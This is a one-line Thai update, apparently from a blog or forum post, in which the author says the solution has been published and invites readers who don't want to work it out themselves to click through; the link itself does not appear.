Update: ผมได้ publish เฉลยแล้วนะครับ ถ้าไม่อยากคิดก็ กดเลยครับ